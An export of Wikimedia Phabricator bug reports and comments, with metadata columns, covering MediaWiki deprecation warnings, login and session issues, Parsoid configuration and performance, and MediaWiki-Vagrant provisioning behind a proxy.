+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:28 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10956 Use of ""mwCustomEditButtons"" is deprecated. Use mw.toolbar instead.
+load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 console.trace()load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10958 mw.log.log.warnload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:10982 Object.defineProperty.getindex.php?title=MediaWiki:Editpage.js&action=raw&ctype=text/javascript:29 (anonymous function)wikibits.js:87 (anonymous function)load.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4665 jQuery.event.dispatchload.php?debug=true&lang=ru&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150113T19…:4333 elemData.handle
+```",Medium,50.0,1422441927,1422442148.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-yvrh6rlz6ms7zj7a4a77,task_description,invalid,True,c3,1,True,True,True,-23,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+403816,Deprecation errors in JavaScript prevent autologin,"Nope, tried manual login and:
+```
+Ошибка опознавания участника 
+<Запрещено использовать имя участника «Federico Leva (BEIC)». Имя соответствует следующей записи из чёрного списка: .*\(.+\)$ <newaccountonly> # Участник:%username%_(сексуалист)>
+```",,,1422442148,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yvrh6rlz6ms7zj7a4a77,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+87675,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","If GoogleLogin replaces the MediaWiki login form, the user can not select ""keep login"" to hold his session for a longer time. There should be a config option, to handle the default value of keep login (e.g. enable keep login for all logins).
+
+See: https://www.mediawiki.org/wiki/Thread:Extension_talk:GoogleLogin/Sessions_are_extremely_short-lived",Medium,50.0,1422390913,1423437156.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_description,resolved,True,c3,1,True,True,True,-23,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0
+408464,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189418 merged by jenkins-bot:
+Add a config to force keep login
+
+[[https://gerrit.wikimedia.org/r/189418]]",,,1423436452,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+408463,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189417 merged by jenkins-bot:
+Add a config to force keep login
+
+[[https://gerrit.wikimedia.org/r/189417]]",,,1423436445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+408462,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189418 had a related patch set uploaded (by Florianschmidtwelzow):
+Add a config to force keep login
+
+[[https://gerrit.wikimedia.org/r/189418]]
+
+#patch-for-review",,,1423436418,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+408461,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189215 merged by jenkins-bot:
+Add a config to force keep login
+
+[[https://gerrit.wikimedia.org/r/189215]]",,,1423436414,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+408460,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189417 had a related patch set uploaded (by Florianschmidtwelzow):
+Add a config to force keep login
+
+[[https://gerrit.wikimedia.org/r/189417]]
+
+#patch-for-review",,,1423436407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+408224,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189215 had a related patch set uploaded (by Florianschmidtwelzow):
+Add a config to force keep login
+
+[[https://gerrit.wikimedia.org/r/189215]]
+
+#patch-for-review",,,1423326232,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+87604,Add ops-reportcard dashboard with analysis that shows the http to https slowdown on russian wikipedia,"NavigationTiming is an important schema that can reveal problems quicker.  For example, Russian Wikipedia added an https redirect in their Common.js and their page load time increased dramatically.
+
+Write a SQL query that grabs data which could be used to show this problem, then graph it so the information is easy to consume.  Use this exercise as a way to brainstorm how to work with NavigationTiming in the future and how to make the useful data it gathers more easy to consume.",Medium,50.0,1422304556,1638227197.0,PHID-USER-vbyvvtbztxaeuaxelxx4,False,PHID-USER-u3dye3potxwvgq3nkqfn,False,PHID-TASK-w4imk2jbuqsg4jupkkd4,task_description,declined,True,c3,1,False,False,False,-23,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+738402,Add ops-reportcard dashboard with analysis that shows the http to https slowdown on russian wikipedia,"Notes from Ori:
+
+* this would be interesting to see, but even though it's pretty easy to get the data broken up by project, it's hard to show in grafana
+* needs a creative way to visualize outliers without having to visually parse through 900 timeseries lines
+* any alerts built to handle situations like this should be carefully tuned for their sensitive human recipients.  Actionable, useful, etc.  Probably a good idea to test the alerts on historical data to see if they'd trip correctly.",,,1475528451,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-w4imk2jbuqsg4jupkkd4,task_subcomment,,True,c3,3,False,,,65,True,1,0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+738121,Add ops-reportcard dashboard with analysis that shows the http to https slowdown on russian wikipedia,"Wondering whether this dashboard solves this problem: https://grafana.wikimedia.org/dashboard/db/navigation-timing-by-geolocation
+
+Or should we try and make more project-specific monitoring?",,,1475509689,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-w4imk2jbuqsg4jupkkd4,task_subcomment,,True,c3,3,False,,,65,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,1,0,1
+416098,Add ops-reportcard dashboard with analysis that shows the http to https slowdown on russian wikipedia,"@faidon, I haven't forgotten about this.  Marcel is working on a reliable scheduler that can run this query across wikis.  When that's ready we'll put up a dashboard showing the results.",,,1424726726,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-w4imk2jbuqsg4jupkkd4,task_subcomment,,True,c3,1,False,,,-19,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+87513,localsettings.js ought to contain a setting to override User-Agent and SSL cert verification,"As an English Wikipedia bot operator, I am using Parsoid to retrieve parsed HTML versions of Wikipedia articles as part of the operation of my bot. As I'm trying to be a good citizen and not cause the nice people in WMF's analytics department any particular headaches, I thought it might be sensible to set a custom User-Agent string for my requests.
+
+I can only do this by overriding the string set manually in lib/mediawiki.ApiRequest.js - making it so that this can be overridden from the localsettings.js would be quite useful for bot operators who are using Parsoid to retrieve parsed copies of content from MediaWiki installations.
+
+(I may be able to prepare a patch, but filing the issue first in case I don't get around to it.)",Medium,50.0,1422117011,1432314644.0,PHID-USER-znnt57xojmep4hz4a7ql,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-knswxffu64vz7mtvlei4,task_description,resolved,True,c3,1,False,False,True,-23,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+462290,localsettings.js ought to contain a setting to override User-Agent and SSL cert verification,"In T72761, we added a global parsoidConfig `strictSSL` to allow self-signed certs.
+
+T66003 is to specify that config per mw api.",,,1432314644,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-knswxffu64vz7mtvlei4,task_subcomment,,True,c3,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+462271,localsettings.js ought to contain a setting to override User-Agent and SSL cert verification,The user-agent part is done. Unassigning myself.,,,1432310080,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-knswxffu64vz7mtvlei4,task_subcomment,,True,c3,1,False,,,-6,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0
+454830,localsettings.js ought to contain a setting to override User-Agent and SSL cert verification,"In the same vein, from IRC:
+
+11:39:08 +gwicke on the topic of making things configurable: a recurring request is to allow requests to hosts with a self-signed cert
+11:41:07 +gwicke https://nodejs.org/api/https.html#https_https_request_options_callback lists a rejectUnauthorized option
+11:42:41 +gwicke discussion for request at https://github.com/request/request/issues/418
+11:42:59 +gwicke setting NODE_TLS_REJECT_UNAUTHORIZED=0 seems to work too
+",,,1430937984,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-knswxffu64vz7mtvlei4,task_subcomment,,True,c3,1,True,,,-9,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+87266,Parsoid endlessly running on certain pages,"For example try this page:
+http://parsoid-lb.eqiad.wikimedia.org/dewikivoyage/Via_Jutlandica/Gpx
+
+In my case, it runs without any end.",Medium,50.0,1421785598,1447827358.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-vjcbrjonjcvv4756sndw,task_description,resolved,True,c3,1,False,False,False,-24,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+564672,Parsoid endlessly running on certain pages,"`oldid=702475` was the revision at the time this was filed.
+
+On master today, I get:
+
+```
+[info][dewikivoyage/Via_Jutlandica/Gpx?oldid=702475] started parsing
+[info][dewikivoyage/Via_Jutlandica/Gpx?oldid=702475] completed parsing in 15501 ms
+```",,,1447827358,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-vjcbrjonjcvv4756sndw,task_subcomment,,True,c3,3,True,,,19,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+401800,Parsoid endlessly running on certain pages,"It is a 30,500 line XML document. That said, I suppose we should look into what is causing it to take that long. Locally, dev version of Parsoid parsed in 195 sec.",,,1421788250,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-vjcbrjonjcvv4756sndw,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+86787,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,">>! In T72705#976450, @Kabhi2104 wrote:
+> {F28605} Uploaded provision.log here too for future reference and this is the link of new paste https://phabricator.wikimedia.org/P216 
+",Medium,50.0,1421257617,1468104262.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_description,resolved,True,c3,1,True,True,False,-25,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1
+691500,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,https://www.mediawiki.org/wiki/MediaWiki-Vagrant#Vagrant_behind_proxy,,,1468104262,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+401614,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Change 184983 merged by jenkins-bot:
+Verify downloaded composer phar
+
+[[https://gerrit.wikimedia.org/r/184983]]",,,1421735430,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+399707,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Change 184983 had a related patch set uploaded (by Dduvall):
+Verify downloaded composer phar
+
+[[https://gerrit.wikimedia.org/r/184983]]
+
+#patch-for-review",,,1421265662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+399696,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"There doesn't seem to be any composer deb on the horizon.
+
+https://github.com/composer/composer/issues/1811",,,1421264542,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+399690,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,">>! In T86787#976895, @dduvall wrote:
+> Do you think it's worth it to tighten up the verification of the downloaded composer phar? In other words, change `creates => ""/usr/local/bin/composer""` to something like `unless => ""php5 -r '<try to load the phar>'""`.
+
+It wouldn't hurt to find a way to validate the phar. /me grumbles something about non-versioned software with no SHA1 verification mechanism
+
+The ""real"" Composer installer at <https://getcomposer.org/installer> includes this validation check:
+```
+            if (!ini_get('phar.readonly')) {
+                // test the phar validity
+                $phar = new Phar($pharFile);
+                // free the variable to unlock the file
+                unset($phar);
+            }
+```",,,1421264212,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1
+399682,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,">>! In T86787#976517, @bd808 wrote:
+> @Kabhi2104 is your laptop running on a network that needs to use an HTTP proxy to reach the internet? If so you probably need to install [[https://github.com/tmatilai/vagrant-proxyconf|vagrant-proxyconf]] plugin and configure it in a local `Vagrantfile-extra.rb` configuration file so that Vagrant will tell the virtual machine how to contact the internet.
+
+>>! In T86787#976572, @bd808 wrote:
+> Some additional help on installing and configuring vagrant-proxyconf at http://stackoverflow.com/questions/19872591/how-to-use-vagrant-in-a-proxy-enviroment
+
